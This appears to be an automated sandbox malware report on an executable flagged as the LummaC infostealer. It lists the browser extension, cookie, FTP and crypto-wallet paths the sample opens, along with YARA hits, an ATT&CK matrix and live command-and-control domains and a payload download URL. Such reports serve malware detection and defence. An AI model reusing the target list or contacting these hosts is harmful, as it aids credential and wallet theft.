Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior

Source: Yara match	File source: 00000000.00000003.1490006976.0000000001927000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1467503932.0000000001927000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1508582893.00000000018D6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1505216928.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1505216928.0000000001927000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1467390639.0000000001927000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1490006976.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1505536352.00000000018D6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1505536352.0000000001927000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1508552491.000000000192D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7680, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 00000000.00000003.1520788007.0000000005E71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1551938977.0000000005E71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1521839857.0000000005E71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7680, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	2 Process Injection	1 Masquerading	2 OS Credential Dumping	861 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	41 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	2 Bypass User Account Control	361 Virtualization/Sandbox Evasion	Security Account Manager	361 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Process Injection	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	223 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Bypass User Account Control	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	34%	ReversingLabs	Win32.Infostealer.Tinba

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://crl.micro	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0%	URL Reputation	safe
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
crisiwarny.store	104.21.95.91	true	true		unknown
presticitpo.store	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Reputation
presticitpo.store	true	unknown
https://crisiwarny.store/api	true	unknown
necklacedmny.store	true	unknown
fadehairucw.store	true	unknown
founpiuer.store	true	unknown
crisiwarny.store	true	unknown
scriptyprefej.store	true	unknown
navygenerayk.store	true	unknown
thumbystriw.store	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://crisiwarny.store/_	file.exe, 00000000.00000003.1490006976.0000000001927000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1551775062.000000000193F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1640149483.000000000193F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1629505347.000000000193D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1505216928.0000000001927000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1505536352.0000000001927000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://presticitpo.store:443/apia	file.exe, 00000000.00000003.1441711833.000000000189E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1455058193.0000000005EA8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1455158112.0000000005EA8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1454991065.0000000005EAB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/a	file.exe, 00000000.00000003.1454225148.00000000018D4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1455058193.0000000005EA8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1455158112.0000000005EA8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1454991065.0000000005EAB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/h	file.exe, 00000000.00000003.1454190445.000000000192F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exeDa	file.exe, 00000000.00000003.1628840769.0000000001923000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1640014748.0000000001927000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/apiV4I	file.exe, 00000000.00000003.1489492542.0000000005F07000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/apig1	file.exe, 00000000.00000003.1454225148.00000000018EF000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1455058193.0000000005EA8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1455158112.0000000005EA8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1454991065.0000000005EAB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000003.1509342214.000000000194B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1505165532.000000000194B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store:443/apiohrz.default-release/key4.dbPK	file.exe, 00000000.00000003.1629265756.000000000189E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1639820061.000000000189E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/apipw	file.exe, 00000000.00000003.1505147294.0000000005F07000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1505423863.0000000005F0C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store:443/api	file.exe, 00000000.00000002.1639820061.000000000189E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.1490608854.0000000005F7D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.1490608854.0000000005F7D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.1455058193.0000000005EA8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1455158112.0000000005EA8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1454991065.0000000005EAB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/apia5	file.exe, 00000000.00000003.1520566964.0000000001938000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1520619731.000000000193C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16:80/off/def.exerosoft	file.exe, 00000000.00000003.1629265756.000000000189E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1639820061.000000000189E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.1491764264.000000000619E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/apit	file.exe, 00000000.00000003.1520566964.0000000001938000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1520619731.000000000193C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store:443/apitxtPK	file.exe, 00000000.00000003.1629265756.000000000189E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1639820061.000000000189E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/api.	file.exe, 00000000.00000003.1441711833.00000000018B0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1455058193.0000000005EA8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1455158112.0000000005EA8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1454991065.0000000005EAB000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://presticitpo.store:443/api	file.exe, 00000000.00000003.1441711833.000000000189E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1455058193.0000000005EA8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1455158112.0000000005EA8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1454991065.0000000005EAB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.1490608854.0000000005F7D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.1490608854.0000000005F7D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.	file.exe, 00000000.00000003.1509342214.000000000194B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1505165532.000000000194B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1520750781.0000000001949000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1455058193.0000000005EA8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1455158112.0000000005EA8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1454991065.0000000005EAB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.1491764264.000000000619E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44	file.exe, 00000000.00000003.1509342214.000000000194B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1505165532.000000000194B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.1455058193.0000000005EA8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1455158112.0000000005EA8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1454991065.0000000005EAB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/	file.exe, 00000000.00000002.1639983575.00000000018D0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1628840769.00000000018CA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.micro	file.exe, 00000000.00000003.1505216928.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1508582893.00000000018D6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1454225148.00000000018EF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1467503932.00000000018D6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441606295.00000000018EF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1520668931.00000000018D8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1521712621.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1490006976.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1505536352.00000000018D6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1551618459.0000000001922000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1467390639.00000000018D5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.1509342214.000000000194B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1505165532.000000000194B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.1490608854.0000000005F7D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	file.exe, 00000000.00000003.1509342214.000000000194B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1505165532.000000000194B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1520750781.0000000001949000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
